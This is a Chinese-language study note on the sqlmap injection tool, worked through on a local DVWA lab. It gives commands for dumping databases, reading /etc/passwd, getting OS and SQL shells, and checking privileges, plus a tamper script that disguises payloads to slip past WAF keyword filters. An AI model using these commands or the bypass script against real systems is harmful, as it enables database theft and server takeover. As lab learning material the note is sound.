知识点
1、注入工具-SQLMAP-常规猜解&字典配置
2、注入工具-SQLMAP-权限操作&文件命令
3、注入工具-SQLMAP-Tamper&使用&开发
4、注入工具-SQLMAP-调试指纹&风险等级
演示案例:
- 数据猜解-库表列数据&字典
- 权限操作-文件&命令&交互式
- 提交方法-POST&HEAD&JSON
- 绕过模块-Tamper脚本-使用&开发
- 分析拓展-代理&调试&指纹&风险&等级
参考:
数据猜解-库表列数据&字典
常用语法
bash
python sqlmap.py -h #这个是sqlmap的命令大全,不记得直接输入
-u "url" #指定 GET 请求目标地址,URL 必须英文双引号包裹
--batch #自动确认所有询问,不用手动回车,每条命令尽量带上
--data="参数=值" #POST 表单数据,如果是post请求用这个
-r 数据包.txt #导入 Burp 抓取的完整 HTTP 请求(最强推荐,自动携带 Cookie、请求头)
--cookie="key=value" #手动添加 Cookie,访问需要登录的页面
--random-agent #随机浏览器 UA,防止被 WAF 识别爬虫
--ignore-cert #忽略 HTTPS 证书报错(国外网站经常遇到)
--delay=1 #每次请求间隔 1 秒,避免请求太快被封 IP
--time-sec=数字 #时间盲注的延迟时间
--flush-session #清空当前目标的历史会话缓存
## 漏洞存在后使用的命令
--dbs #列出服务器上所有数据库
-D 库名 --tables #指定数据库,列出里面所有数据表
-D 库名 -T 表名 --columns #查看表中的字段(比如 username、password)
-D 库名 -T 表名 --dump #导出表内所有数据(脱库)
--current-db # 查看当前网站正在使用的数据库
--current-user #查看当前数据库连接账号
实战
- 实战网站:https://sekumart.sekuripy.hr/(这个是sqlmap官方的)
- 先随便尝试,本人是在dvwa实践过,Windows和Linux的前置语法有细微差别。

2. 扫到两个数据库,后面就是拿这两个数据库再扫里面的字段,不赘述

- 先随便尝试,本人是在dvwa实践过,Windows和Linux的前置语法有细微差别。
- 在dvwa的SQLmap实战,middle难度
- 因为这个是需要登录的,按f12找到cookie值

- 因为这个是需要登录的,按f12找到cookie值
-
找到库


-
看dvwa数据库存在什么表


-
获取表信息

权限操作-文件&命令&交互式
测试:MYSQL高权限注入
引出权限:
--is-dba #判断当前数据库账号是不是管理员(root)
--privileges #查看当前账号拥有哪些数据库权限(重点看是否有 FILE 权限)
引出文件:
--file-read #读取服务器本地文件(load_file())
--file-write="本地文件路径" --file-dest="服务器路径" #上传写入文件(into outfile)
引出命令:
--os-cmd= # 执行单条系统命令
--os-shell #获取交互式系统命令终端(最常用)
--sql-shell # 获取交互式 SQL 查询终端
实战
在dvwa的SQL注入部分用low来尝试命令。
shell
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --is-dba

这里写了后端数据库:MySQL(MariaDB)且操作系统:Debian Linux(Kali 本机)。最重要的是:current user is DBA: True,说明是root管理员,这就有很多权限了。
bash
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --privileges
这里写了有dvwa数据库的39项权限,其中有file(上传文件),super(最高权限),select(查库啥的)

bash
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --file-read="/etc/passwd"
拿到了文件/etc/word,在我本机的sqlmap/output/那个目录下。
后续几个写入文件,写入不了,后面在自己本地改了权限才能写入。
bash
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --sql-shell
SQL 交互 shell(手动写 SQL 语句)

提交方法-POST&HEAD&JSON
测试:Post Cookie Json
--data ""
--cookie ""
-r 1.txt
此部分意思就是,POST请求,URI不会传参,而get请求会,所以如果是类似下图这种的post请求,需要传data参数。然后cookie,只要需要登录的网站都需要传,-r需要结合burp suite来使用
绕过模块-Tamper脚本-使用&开发
测试:base64注入 有过滤的注入
--tamper=base64encode.py
--tamper=test.py
脚本
bash
from lib.core.enums import PRIORITY
# 导入优先级常量
__priority__ = PRIORITY.LOW
# 优先级:LOW/MEDIUM/HIGH;多个tamper同时启用时,按优先级顺序执行
def dependencies():
pass
# 依赖检测函数,检查目标环境、数据库类型,不满足就不启用脚本;空代表无限制
def tamper(payload, **kwargs):
# 核心函数 payload:sqlmap原生生成的注入语句
if payload:
payload = payload.replace('SELECT','sElEct') # 大小写变形
payload = payload.replace('OR','Or')
payload = payload.replace('AND','And')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('ELT','Elt')
return payload
# 返回修改完成的payload给sqlmap发包
Tamper 是什么?
Tamper = SQLMap 载荷混淆脚本
作用:修改 SQLmap 发送的注入 Payload,用来绕过 WAF、网站关键词过滤。
网站防火墙会拦截 SELECT、AND、OR、SLEEP 这类关键词,tamper 脚本对 payload 变形,达到绕过效果。
bash
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=b74ceb6e450e9102fe7f5238cbc98047" --batch --tamper=randomcase --dbs
用这个他可以替换大小写,randomcase是官方自带随机替换payload的大小写字母的脚本。但是现代防护这个几乎没用。这种脚本可以叠加使用。
自己写的脚本,可以sqlmap 你的完整参数 --tamper="./test.py",后面的""部分是写脚本存放的位置
分析拓展-代理&调试&指纹&风险&等级
1、后期分析调试:
bash
-v=(0-6) #详细的等级(0-6)
--proxy "http://xx:xx" #代理注入,可以放入burp suite中
-v 0 只输出关键结果(最安静)
-v 1 默认等级
-v 2 打印payload
-v 3 打印payload+请求头
-v 4 【调试tamper首选】完整HTTP请求包
-v 5 请求+完整响应包
-v 6 极致调试,打印所有底层数据包
2、打乱默认指纹:
bash
--user-agent "" #自定义user-agent,手动指定 UA,例如模仿 Chrome:这个和下面那个只能选一个加
--random-agent #随机user-agent,伪装成普通浏览器,实战必加
--time-sec=(2,5) #延迟响应,默认为5
3、使用更多的测试:测试Header注入
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
evel 1(默认):只测试 GET 参数
level 2:增加测试 Cookie
level 3:增加测试 User-Agent、Referer
level 4:更多 HTTP 头
level 5:极致全面,大量 payload,速度很慢
risk 1(默认):安全 payload,不会修改 / 删除数据(查询类)risk 2:少量中等风险
risk 3:高危!包含 DELETE / UPDATE / DROP 破坏性 SQL
